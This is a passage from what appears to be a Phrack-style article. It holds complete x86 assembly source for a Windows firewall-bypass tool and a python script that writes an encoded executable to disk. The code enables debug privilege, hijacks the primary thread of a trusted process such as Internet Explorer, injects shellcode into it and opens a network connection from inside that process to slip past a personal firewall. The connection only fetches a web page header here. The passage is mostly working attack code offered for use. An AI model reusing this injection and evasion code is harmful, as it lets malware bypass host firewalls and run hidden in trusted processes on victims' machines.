MOV ECX, 0 ; number of bytes received
PP: MOV EDX, iBase
ADD EDX, OFFSET sRepl-inject
ADD EDX, ECX ; EDX is the current position inside
; the string buffer
PUSH EDX
PUSH ECX
PUSH 0 ; no flags
PUSH 1 ; one byte to receive
PUSH EDX ; string buffer
PUSH EBX ; socket descriptor
CALL pRecv ; recv() the byte
POP ECX
POP EDX
CMP AL, 1 ; one byte received ?
JNE PPE ; an error occured
CMP ECX,2 ; check if we already received
JS PP2 ; more than 2 bytes
MOV AL, [EDX] ; this is the byte we got
CMP AL, [EDX-2] ; we are looking for <CRLF><CRLF>
JNE PP2
CMP AL, 10 ; we found it, most probably.
JE PPE ; we only want the headers.
PP2: INC ECX
CMP ECX,600 ; 600 byte maximum buffer size
JNE PP
PPE: PUSH EBX ; socket descriptor
CALL pClose ; close the socket
PUSH 64 ; neat info icon and an ok button
PSHS sCap ; the caption string
PSHS sRepl ; www.phrack.org's HTTP header
PUSH 0
CALL pMessageBox ; display the message box.
JMP INJECT_SUCCESS ; we were successful.
INJECT_SUCCESS:
MOV EAX, 1 ; return values are passed in EAX
JMP INJECT_CLEANUP
INJECT_ERROR:
MOV EAX, 0 ; boolean return value (success)
INJECT_CLEANUP:
PUSH EAX ; save our return value
CMP pWSACleanup,0
JE INJECT_DONE
CALL pWSACleanup ; perform cleanup
CMP ws32base, 0 ; check if we have loaded ws2_32
JE INJECT_DONE
PUSH ws32base
CALL pFreeLibrary ; release ws2_32.dll
INJECT_DONE:
POP EAX ; retore the return value
RET ; and return
inject ENDP
inject_end: END Main
-[0x0C] :: tiny.exe source code ------------------------------------------
This is the ASM source code for the second bypass program.
.386
.MODEL flat, stdcall
INCLUDE windows.inc
INCLUDE kernel32.inc
INCLUDE advapi32.inc
bypass PROTO ; Tiny Firewall Bypass
inject PROTO, iBase:DWORD ; injected function
getsvc PROTO, pProcessInfo:DWORD ; finds running, trusted process
getdbg PROTO ; enables the SE_DEBUG privilege
; The PSHS macro is used to push the address of some
; structure onto the stack inside the remote process'
; address space. iBase contains the address where the
; injected code starts.
PSHS MACRO BUFFER
MOV EDX, iBase
ADD EDX, OFFSET BUFFER - inject
PUSH EDX
ENDM
; The LPROC macro assumes that pGetProcAddress holds
; the address of the GetProcAddress() API call and
; simulates its behaviour. PROCNAME is a string inside
; the injected code that holds the function name and
; PROCADDR is a DWORD variable inside the injected
; code that will retrieve the address of that function.
; BASEDLL, as the name suggests, should hold the
; base address of the appropriate DLL.
LPROC MACRO BASEDLL, PROCNAME, PROCADDR
PSHS PROCNAME
PUSH BASEDLL
CALL pGetProcAddress
EJUMP INJECT_ERROR
MOV PROCADDR, EAX
ENDM
EJUMP MACRO TARGET_CODE ; jump when EAX is 0.
CMP EAX, 0
JE TARGET_CODE
ENDM
.DATA
; This is the name of a trusted process to search for.
; If you know what you are doing, you can play with
; if and see whether other applications work with the
; current code (aka hijack primary thread).
; "OUTLOOK.EXE" works as well btw.
TRUSTED DB "IEXPLORE.EXE",0
SE_DEBUG DB "SeDebugPrivilege",0 ; debug privilege
IEV_NAME DB "TINY0",0 ; our event name
IEV_HANDLE DD ? ; event handle
FUNCSZE EQU iend-istart ; inject's size
CODESZE EQU 19 ; size of our "shellcode"
ALLSZE EQU FUNCSZE + CODESZE ; complete size
FUNCADDR EQU istart ; offset of inject
; JUMPDIFF is the number of bytes from the beginning of
; the shellcode to the jump instruction. It is required
; to calculate the value of JUMP_ADDR, see below.
JUMPDIFF EQU 14
; This "shellcode" will be injected to the trusted
; process directly in fron of the injector procedure
; itself. It will simply call the injector function
; with its base address as the first argument and
; jump back to the address where we hijacked the
; thread afterwards. The addresses of our injected
; function (PUSH_ADDR) and the original EIP of the
; hijacked thread (JUMP_ADDR) will be calculated
; at runtime, of course.
SHELLCODE LABEL BYTE
PUSHAD_CODE DB 060H ; PUSHAD
PUSHFD_CODE DB 09CH ; PUSHFD
PUSH_CODE DB 068H ; PUSH <function address>
PUSH_ADDR DD ?
CALL_CODE DB 0E8H ; CALL <function address>
CALL_ADDR DD 07H
POPFD_CODE DB 09DH ; POPFD
POPAD_CODE DB 061H ; POPAD
JUMP_CODE DB 0E9H ; JUMP <original EIP>
JUMP_ADDR DD ?
; <injector function>
; ...
.CODE
Main: ; not much to do except calling
; the bypass function in this sample.
INVOKE bypass
INVOKE ExitProcess, 0
getdbg PROC ; enables the SE_DEBUG privilege for ourself
LOCAL token:HANDLE
LOCAL priv:TOKEN_PRIVILEGES
LOCAL luid:LUID
INVOKE LookupPrivilegeValue, 0,OFFSET SE_DEBUG, ADDR luid
EJUMP DBE0
MOV priv.PrivilegeCount, 01H
MOV priv.Privileges.Attributes, 02H
MOV EAX,luid.LowPart
MOV priv.Privileges.Luid.LowPart,EAX
MOV EAX,luid.HighPart
MOV priv.Privileges.Luid.HighPart,EAX
INVOKE GetCurrentProcess
MOV ECX,EAX
INVOKE OpenProcessToken,ECX,020H, ADDR token
MOV ECX, token
CMP ECX, 0
JE DBE0
INVOKE AdjustTokenPrivileges,ECX,0,ADDR priv,0,0,0
MOV ECX,EAX
INVOKE CloseHandle, token
MOV EAX,ECX
DBE0: RET
getdbg ENDP
getsvc PROC, pProcessInfo:DWORD
; This function fills a PROCESS_INFORMATION
; structure with the ID and handle of the
; required trusted process and its primary
; thread. The tool helper API is used to
; retrieve this information.
LOCAL p32:PROCESSENTRY32
LOCAL t32:THREADENTRY32
LOCAL hShot:DWORD
MOV p32.dwSize, SIZEOF PROCESSENTRY32
MOV t32.dwSize, SIZEOF THREADENTRY32
INVOKE getdbg ; we need SE_DEBUG first
; Create a snapshot of all processes and
; threads. 06H is the appropriate bitmask
; for this purpose, look it up if you
; dont trust me.
INVOKE CreateToolhelp32Snapshot,06H,0
MOV hShot,EAX
; Start to search for the trusted process.
; We will compare the name of the process'
; primary module with the string buffer
; TRUSTED until we find a match.
INVOKE Process32First, hShot, ADDR p32
CMP EAX, 0
JE GSE1
GSL: LEA EDX, p32.szExeFile
INVOKE lstrcmpi, EDX, OFFSET TRUSTED
CMP EAX, 0 ; lstrcmpi is not case sensitive!
JE GSL1 ; good, we found the process
INVOKE Process32Next, hShot, ADDR p32
CMP EAX, 0 ; no more processes,
JE GSE1 ; no success
JMP GSL ; otherwise, continue loop
; We have found an instance of the trusted
; process, continue to retrieve information
; about its primary thread and gain an open
; handle to both the process itself and the
; thread. To find the thread, we have to
; loop through all thread entries in our
; snapshot until we discover a thread that
; has been created by the process we found.
GSL1: INVOKE Thread32First, hShot, ADDR t32
MOV EBX, 0
TSL: MOV EDX, t32.th32OwnerProcessID
CMP EDX, p32.th32ProcessID
JE TSL0
INVOKE Thread32Next, hShot, ADDR t32
CMP EAX, 0 ; no more threads (weird),
JE GSE1 ; no success
JMP TSL ; otherwise, continue loop
; Now, since we have got the ID's of both
; the process itself and the primary thread,
; use OpenProcess() and OpenThread() to
; get a handle to both of them. You are right,
; OpenThread is NOT a documented call, but
; it looks like that was rather an accident.
; It is exported by kernel32.dll just like
; OpenProcess().
TSL0: MOV EDX, pProcessInfo ; the structure address
MOV EAX,p32.th32ProcessID ; copy the process ID
MOV [EDX+08H], EAX
MOV EAX, t32.th32ThreadID ; copy the thread ID
MOV [EDX+0CH], EAX
PUSH EDX ; safe the address
INVOKE OpenProcess, PROCESS_ALL_ACCESS, \
0, p32.th32ProcessID
CMP EAX, 0
JE GSE1
MOV EBX, EAX
INVOKE OpenThread, THREAD_ALL_ACCESS, 0, \
t32.th32ThreadID
CMP EAX, 0
JE GSE1
POP EDX ; restore the address
MOV [EDX], EBX ; copy the process handle
MOV [EDX+04H], EAX ; copy the thread handle
PUSH 1 ; success
JMP GSE0
GSE1: PUSH 0 ; failure
GSE0: CMP hShot, 0
JE GSE
INVOKE CloseHandle, hShot ; cleanup
GSE: POP EAX ; pop the return value to EAX
RET ; that's it.
getsvc ENDP
istart:
inject PROC, iBase:DWORD
LOCAL k32base :DWORD
LOCAL expbase :DWORD
LOCAL forwards :DWORD
LOCAL pGetProcAddress :DWORD
LOCAL pGetModuleHandle :DWORD
LOCAL pLoadLibrary :DWORD
LOCAL pFreeLibrary :DWORD
LOCAL pOpenEvent :DWORD
LOCAL pCloseHandle :DWORD
LOCAL pSetEvent :DWORD
LOCAL pMessageBox :DWORD
LOCAL u32base :DWORD
LOCAL ws32base :DWORD
LOCAL pWSAStartup :DWORD
LOCAL pWSACleanup :DWORD
LOCAL pSocket :DWORD
LOCAL pConnect :DWORD
LOCAL pSend :DWORD
LOCAL pRecv :DWORD
LOCAL pClose :DWORD
JMP IG
sGetModuleHandle DB "GetModuleHandleA" ,0
sLoadLibrary DB "LoadLibraryA" ,0
sFreeLibrary DB "FreeLibrary" ,0
sOpenEvent DB "OpenEventA" ,0
sCloseHandle DB "CloseHandle" ,0
sSetEvent DB "SetEvent" ,0
sFWPEVENT DB "TINY0" ,0
sUser32 DB "USER32.DLL" ,0
sMessageBox DB "MessageBoxA" ,0
sGLA DB "GetLastError" ,0
sWLA DB "WSAGetLastError" ,0
sWS2_32 DB "ws2_32.dll" ,0
sWSAStartup DB "WSAStartup" ,0
sWSACleanup DB "WSACleanup" ,0
sSocket DB "socket" ,0
sConnect DB "connect" ,0
sSend DB "send" ,0
sRecv DB "recv" ,0
sClose DB "closesocket" ,0
wsa LABEL BYTE
wVersion DW 0
wHighVersion DW 0
szDescription DB WSADESCRIPTION_LEN+1 DUP(0)
szSystemStatus DB WSASYS_STATUS_LEN+1 DUP(0)
iMaxSockets DW 0
iMaxUdpDg DW 0
lpVendorInfo DD 0
sAddr LABEL BYTE
sin_family DW AF_INET
sin_port DW 05000H
sin_addr DD 006EE3745H
sin_zero DQ 0
sStartC DB "SetUp Complete",0
sStart DB "Injector SetUp complete. ", \
"Sending request:",13,10,13,10
sRequ DB "GET / HTTP/1.0",13,10, \
"Host: www.phrack.org",\
13,10,13,10,0
sCap DB "Injection successful",0
sRepl DB 601 DUP(0)
IG: ASSUME FS:NOTHING ; This is a MASM error bypass.
MOV EAX, FS:[030H] ; Get the Process Environment Block
TEST EAX, EAX ; Check for Win9X
JS W9X
WNT: MOV EAX, [EAX+00CH] ; WinNT: get PROCESS_MODULE_INFO
MOV ESI, [EAX+01CH] ; Get fLink from ordered module list
LODSD ; Load the address of bLink into eax
MOV EAX, [EAX+008H] ; Copy the module base from the list
JMP K32 ; Work done
W9X: MOV EAX, [EAX+034H] ; Undocumented offset (0x34)
LEA EAX, [EAX+07CH] ; ...
MOV EAX, [EAX+03CH] ; ...
K32: MOV k32base,EAX ; Keep a copy of the base address
MOV pGetProcAddress, 0 ; now search for GetProcAddress
MOV forwards,0 ; Set the forwards to 0 initially
MOV pWSACleanup, 0 ; we will need these for error -
MOV ws32base, 0 ; checks lateron
MOV pOpenEvent, 0
ADD EAX,[EAX+03CH] ; pointer to IMAGE_NT_HEADERS
MOV EAX,[EAX+078H] ; RVA of exports directory
ADD EAX,k32base ; since RVA: add the base address
MOV expbase,EAX ; IMAGE_EXPORTS_DIRECTORY
MOV EAX,[EAX+020H] ; RVA of the AddressOfNames array
ADD EAX,k32base ; add the base address
MOV ECX,[EAX] ; ECX: RVA of the first string
ADD ECX,k32base ; add the base address
MOV EAX,0 ; EAX will serve as a counter
JMP M2 ; start looping
M1: INC EAX ; Increase EAX every loop
M2: MOV EBX, 0 ; EBX will be the calculated hash
HASH: MOV EDX, EBX
SHL EBX, 05H
SHR EDX, 01BH
OR EBX, EDX
MOV EDX, 0
MOV DL, [ECX] ; Copy current character to DL
ADD EBX, EDX ; and add DL to the hash value
INC ECX ; increase the string pointer
MOV DL, [ECX] ; next character in DL, now:
CMP EDX, 0 ; check for null character
JNE HASH
; This is where we take care of the forwarders.
; we will always subtract the number of forwarders
; that already occured from our iterator (EAX) to
; retrieve the appropriate offset from the second
; array.
PUSH EAX ; Safe EAX to the stack
SUB EAX,forwards ; Subtract forwards
IMUL EAX,4 ; addresses are DWORD's
INC ECX ; Move the ECX pointer to the
; beginning of the next name
MOV EDX, expbase ; Load exports directory
MOV EDX, [EDX+01CH] ; EDX: array of entry points
ADD EDX, k32base ; add the base address
MOV EDX, [EDX+EAX] ; Lookup the Function RVA
ADD EDX, k32base ; add the base address
MOV pGetProcAddress, EDX ; This will be correct once
; the loop is finished.
; Second stage of our forwarder check: If the
; "entry point" of this function points to the
; next string in array #1, we just found a forwarder.
CMP EDX, ECX ; forwarder check
JNE FWD ; ignore normal entry points
INC forwards ; This was a forwarder
FWD: POP EAX ; Restore EAX iterator
CMP EBX, 099C95590H ; hash value for "GetProcAddress"
JNE M1
; We have everything we wanted. I use a simple macro
; to load the functions by applying pGetProcAddress.
LPROC k32base, sGetModuleHandle, pGetModuleHandle
LPROC k32base, sLoadLibrary, pLoadLibrary
LPROC k32base, sFreeLibrary, pFreeLibrary
LPROC k32base, sOpenEvent, pOpenEvent
LPROC k32base, sCloseHandle, pCloseHandle
LPROC k32base, sSetEvent, pSetEvent
PSHS sUser32 ; we need user32.dll
CALL pGetModuleHandle ; assume it is already loaded
EJUMP INJECT_ERROR ; (we could use LoadLibrary)
MOV u32base,EAX ; got it
PSHS sWS2_32 ; most important: winsock DLL
CALL pLoadLibrary ; LoadLibrary("ws2_32.dll");
EJUMP INJECT_ERROR
MOV ws32base, EAX
LPROC u32base,sMessageBox,pMessageBox
LPROC ws32base,sWSAStartup,pWSAStartup
LPROC ws32base,sWSACleanup,pWSACleanup
LPROC ws32base,sSocket,pSocket
LPROC ws32base,sConnect,pConnect
LPROC ws32base,sSend,pSend
LPROC ws32base,sRecv,pRecv
LPROC ws32base,sClose,pClose
PSHS wsa ; see our artificial data segment
PUSH 2 ; Version 2 is fine
CALL pWSAStartup ; Do the WSAStartup()
CMP EAX, 0
JNE INJECT_ERROR
PUSH 0
PUSH SOCK_STREAM ; A normal stream oriented socket
PUSH AF_INET ; for Internet connections.
CALL pSocket ; Create it.
CMP EAX, INVALID_SOCKET
JE INJECT_ERROR
MOV EBX,EAX
PUSH SIZEOF sockaddr ; Connect to www.phrack.org:80
PSHS sAddr ; hardcoded structure
PUSH EBX ; that's our socket descriptor
CALL pConnect ; connect() to phrack.org
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR
PUSH 0 ; no flags
PUSH 028H ; 40 bytes to send
PSHS sRequ ; the GET string
PUSH EBX ; socket descriptor
CALL pSend ; send() HTTP request
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR
; We now have to receive the server's reply. We only
; want the HTTP header to display it in a message box
; as an indicator for a successful bypass.
MOV ECX, 0 ; number of bytes received
PP: MOV EDX, iBase
ADD EDX, OFFSET sRepl-inject
ADD EDX, ECX ; EDX is the current position inside
; the string buffer
PUSH EDX
PUSH ECX
PUSH 0 ; no flags
PUSH 1 ; one byte to receive
PUSH EDX ; string buffer
PUSH EBX ; socket descriptor
CALL pRecv ; recv() the byte
POP ECX
POP EDX
CMP AL, 1 ; one byte received ?
JNE PPE ; an error occured
CMP ECX,2 ; check if we already received
JS PP2 ; more than 2 bytes
MOV AL, [EDX] ; this is the byte we got
CMP AL, [EDX-2] ; we are looking for <CRLF><CRLF>
JNE PP2
CMP AL, 10 ; we found it, most probably.
JE PPE ; we only want the headers.
PP2: INC ECX
CMP ECX,600 ; 600 byte maximum buffer size
JNE PP
PPE: PUSH EBX ; socket descriptor
CALL pClose ; close the socket
PUSH 64 ; neat info icon and an ok button
PSHS sCap ; the caption string
PSHS sRepl ; www.phrack.org's HTTP header
PUSH 0
CALL pMessageBox ; display the message box.
JMP INJECT_SUCCESS ; we were successful.
INJECT_SUCCESS:
PUSH 1 ; return success
JMP INJECT_CLEANUP
INJECT_ERROR:
PUSH 0 ; return failure
INJECT_CLEANUP:
PUSH EAX ; save our return value
CMP pWSACleanup,0
JE INJECT_DONE
CALL pWSACleanup ; perform cleanup
CMP ws32base, 0 ; check if we have loaded ws2_32
JE INJECT_DONE
PUSH ws32base
CALL pFreeLibrary ; release ws2_32.dll
; the following code is the only real difference
; to the code in sample #1. It is used to signal
; an event with the name "TINY0" so that the
; injector executable knows when this code has
; done its job.
CMP pOpenEvent, 0
JE INJECT_DONE
PSHS sFWPEVENT ; "TINY0"
PUSH 0 ; not inheritable
PUSH EVENT_ALL_ACCESS ; whatever
CALL pOpenEvent ; open the event
CMP EAX, 0
JE INJECT_DONE
MOV EBX, EAX
PUSH EBX
CALL pSetEvent ; signal the event
PUSH EBX
CALL pCloseHandle ; close the handle
INJECT_DONE:
POP EAX
RET ; and return
inject ENDP
iend:
bypass PROC
LOCAL pinf :PROCESS_INFORMATION
LOCAL mct :CONTEXT
LOCAL dwReturn :DWORD ; return value
LOCAL dwRemoteThreadID :DWORD ; remote thread ID
LOCAL pbRemoteMemory :DWORD ; remote base address
MOV pinf.hProcess, 0
MOV pinf.hThread, 0
; First of all, creat the even that we need to get
; informed about the progress of our injected code.
INVOKE CreateEvent, 0, 1, 0, OFFSET IEV_NAME
EJUMP BPE5
MOV IEV_HANDLE, EAX
; Find a suitable, trusted process that we can use
; to hijack its primary thread. We will then pause
; that primary thread and make sure that its suspend
; count is exactly 1. It might seem a bit too careful,
; but if the primary thread is already suspended at
; the moment of infection, we have a problem. Thus,
; we will rather make sure with some more commands
; that the thread can be resumed with a single call
; to ResumeThread().
INVOKE getsvc, ADDR pinf
EJUMP BPE5
INVOKE SuspendThread, pinf.hThread
CMP EAX, 0FFFFFFFFH
JE BPE3
CMP EAX, 0
JE SPOK
SPL: INVOKE ResumeThread, pinf.hThread
CMP EAX, 1
JNE SPL
; Here we go, the thread is paused and ready to be
; hijacked. First, we get the EIP register along with
; some others that do not interest us.
SPOK: MOV mct.ContextFlags, CONTEXT_CONTROL
INVOKE GetThreadContext, pinf.hThread, ADDR mct
EJUMP BPE2
; Now, allocate memory in the remote process' address
; space for the shellcode and the injected function
INVOKE VirtualAllocEx,pinf.hProcess,0,ALLSZE, \
MEM_COMMIT,PAGE_EXECUTE_READWRITE
EJUMP BPE2
MOV pbRemoteMemory,EAX
MOV EBX, EAX ; EBX: remote base address
ADD EAX, CODESZE ; this is the future address
MOV PUSH_ADDR, EAX ; of the inject function
MOV EAX, mct.regEip ; this is the current EIP
MOV EDX, EBX ; EDX: remote base address
ADD EDX, JUMPDIFF ; EDX: absolute address of JMP call
; Now we calculate the distance between the JMP call and
; the current EIP. The JMP CPU instruction is followed by
; a double word that contains the relative number of bytes
; to jump away from the current position. This is a signed
; long value which is basically added to the EIP register.
; To calculate the appropriate value, we need to subtract
; the position of the JMP call from the offset we want to
; jump to and subtract another 5 byte since the JMP
; instruction itself has that length.
SUB EAX, EDX
SUB EAX, 05H
MOV JUMP_ADDR, EAX
; Our shellcode is now complete, we will write it along
; with the inject function itself to the remote process.
INVOKE WriteProcessMemory,pinf.hProcess,EBX, \
OFFSET SHELLCODE,CODESZE,0
EJUMP BPE1
ADD EBX, CODESZE
INVOKE WriteProcessMemory,pinf.hProcess,EBX, \
FUNCADDR,FUNCSZE,0
EJUMP BPE1
; Done. Now hijack the primary thread by resetting its
; instruction pointer to continue the flow of execution
; at the offset of our own, injected code
MOV EDX, pbRemoteMemory
MOV mct.regEip, EDX
INVOKE SetThreadContext, pinf.hThread, ADDR mct
EJUMP BPE1
; And let the thread continue ...
INVOKE ResumeThread, pinf.hThread
CMP EAX, 0FFFFFFFFH
JE BPE1
; Now this is where we are making use of the event we
; created. We will wait until the injected code signals
; the event (at a reasonable timeout) and sleep for
; another second to make sure our code has done its
; job completely before we start with the cleanup.
INVOKE WaitForSingleObject, IEV_HANDLE, 60000
CMP EAX, 0
JE BPOK
; However, if something goes wrong it is better
; to terminate the thread as silently as possible.
INVOKE TerminateThread, pinf.hThread, 1
BPOK: INVOKE Sleep, 1000
BPE1: INVOKE VirtualFreeEx,pinf.hProcess, \
pbRemoteMemory,ALLSZE,MEM_RELEASE
BPE2: INVOKE ResumeThread, pinf.hThread
BPE3: CMP pinf.hThread, 0
JE BPE4
INVOKE CloseHandle,pinf.hThread
BPE4: CMP pinf.hProcess, 0
JE BPE5
INVOKE CloseHandle,pinf.hProcess
BPE5: INVOKE CloseHandle, IEV_HANDLE
RET
bypass ENDP
END Main
-[0x0D] :: binaries (base64) ---------------------------------------------
These are the binary version of the two sample applications for
everyone who is unable to get the Assembler I used. Actually, the
files below are python scripts that will decode the base64 -
encoded versions of the executables and create the respective
binary file in its current directory. If you do not use python,
you will have to find another way to decode them properly.
############################# injector.py #############################
from base64 import decodestring
open("injector.exe","wb").write(decodestring("""
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAsAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g
aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAB86B1FOIlzFjiJcxY4iXMWtpZgFiCJcxbEqWEWOY
lzFlJpY2g4iXMWAAAAAAAAAABQRQAATAEDAO9yckAAAAAAAAAAAOAADwELAQUMAAoAAAAG
AAAAAAAAABAAAAAQAAAAIAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABAAAAABA
AAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAEwgAABQAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAATAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAC50ZXh0AAAAzgkAAAAQAAAACgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAC
wCAAAAIAAAAAQAAAAOAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABCAQAAADAAAAACAAAA
EgAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGg2MEAAaBowQABoAAAAgOiiCQAAg/gAdSto
PjFAAGg6MEAAUP81NjBAAOiNCQAA/zU2MEAA6HYJAABoOjBAAOgHAAAAagDoNQkAAFWL7I
PEnI1FvFDoMgkAAGbHRewAAI1FrFCNRbxQagBqAGoAagBqAGoA/3UIagDo9ggAAIP4AA+E
xAAAAGgQJwAA/3Ws6DQJAACD+AAPha4AAACLXayLTbC6BwgAAGpAaAAQAABSagBT6OAIAA
CD+AAPhKIAAACJRZy6BwgAAGoAUmhnEUAA/3WcU+jQCAAAg/gAdFyNRaRQagD/dZz/dZxq
AGoAU+iFCAAAg/gAdDmJRaDHRagAAAAAav//daDolggAAI1FqFD/daDobAgAAIN9qAB1E2
oQaBIwQABoADBAAGoA6I8IAAD/daDoMwgAAGgAgAAAagD/dZxT6FMIAABqAFPoPwgAAP91
sOgTCAAA/3Ws6AsIAADJwgQAVYvsg8S86RUFAABHZXRNb2R1bGVIYW5kbGVBAExvYWRMaW
JyYXJ5QQBGcmVlTGlicmFyeQBVU0VSMzIuRExMAE1lc3NhZ2VCb3hBAEdldExhc3RFcnJv
cgBXU0FHZXRMYXN0RXJyb3IAd3MyXzMyLmRsbABXU0FTdGFydHVwAFdTQUNsZWFudXAAc2
9ja2V0AGNvbm5lY3QAc2VuZAByZWN2AGNsb3Nlc29ja2V0AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAgAAUEU37gYAAAAAAAAAAFNldFVwIENvbXBsZXRlAEluamVjdG9y
IFNldFVwIGNvbXBsZXRlLiBTZW5kaW5nIHJlcXVlc3Q6DQoNCkdFVCAvIEhUVFAvMS4wDQ
pIb3N0OiB3d3cucGhyYWNrLm9yZw0KDQoASW5qZWN0aW9uIHN1Y2Nlc3NmdWwAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAGShMAAAAIXAeAyLQAyLcByti0AI6wmLQDSNQHyLQDyJRfzH
RfAAAAAAx0X0AAAAAMdF0AAAAADHRdgAAAAAA0A8i0B4A0X8iUX4i0AgA0X8iwgDTfy4AA
AAAOsBQLsAAAAAi9PB4wXB6hsL2roAAAAAihED2kGKEYP6AHXlUCtF9GvABEGLVfiLUhwD
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lF7ItVCIHCHAAAAFL/dfz/VfCD+AAPhOsBAACJReiLVQiBwikAAABS/3X8/1Xwg/gAD4TP
AQAAiUXki1UIgcI1AAAAUv9V7IP4AA+EtgEAAIlF3ItVCIHCaQAAAFL/VeiD+AAPhJ0BAA
CJRdiLVQiBwkAAAABS/3Xc/1Xwg/gAD4SBAQAAiUXgi1UIgcJ0AAAAUv912P9V8IP4AA+E
ZQEAAIlF1ItVCIHCfwAAAFL/ddj/VfCD+AAPhEkBAACJRdCLVQiBwooAAABS/3XY/1Xwg/
gAD4QtAQAAiUXMi1UIgcKRAAAAUv912P9V8IP4AA+EEQEAAIlFyItVCIHCmQAAAFL/ddj/
VfCD+AAPhPUAAACJRcSLVQiBwp4AAABS/3XY/1Xwg/gAD4TZAAAAiUXAi1UIgcKjAAAAUv
912P9V8IP4AA+EvQAAAIlFvItVCIHCrwAAAFJqAv9V1IP4AA+FogAAAGoAagFqAv9VzIP4
/w+EkAAAAIvYahCLVQiBwj0CAABSU/9VyIP4/3R5agBqKItVCIHCiQIAAFJT/1XEg/j/dG
K5AAAAAItVCIHCxwIAAAPRUlFqAGoBUlP/VcBZWjwBdRmD+QJ4C4oCOkL+dQQ8CnQJQYH5
WAIAAHXLU/9VvGpAi1UIgcKyAgAAUotVCIHCxwIAAFJqAP9V4OsAuAEAAADrBbgAAAAAUI
N90AB0D/9V0IN92AB0Bv912P9V5FjJwgQA/yUkIEAA/yUsIEAA/yUcIEAA/yUYIEAA/yUo
IEAA/yUQIEAA/yUUIEAA/yU0IEAA/yUwIEAA/yUgIEAA/yU4IEAA/yUIIEAA/yUEIEAA/y
UAIEAA/yVAIEAA/yVEIEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
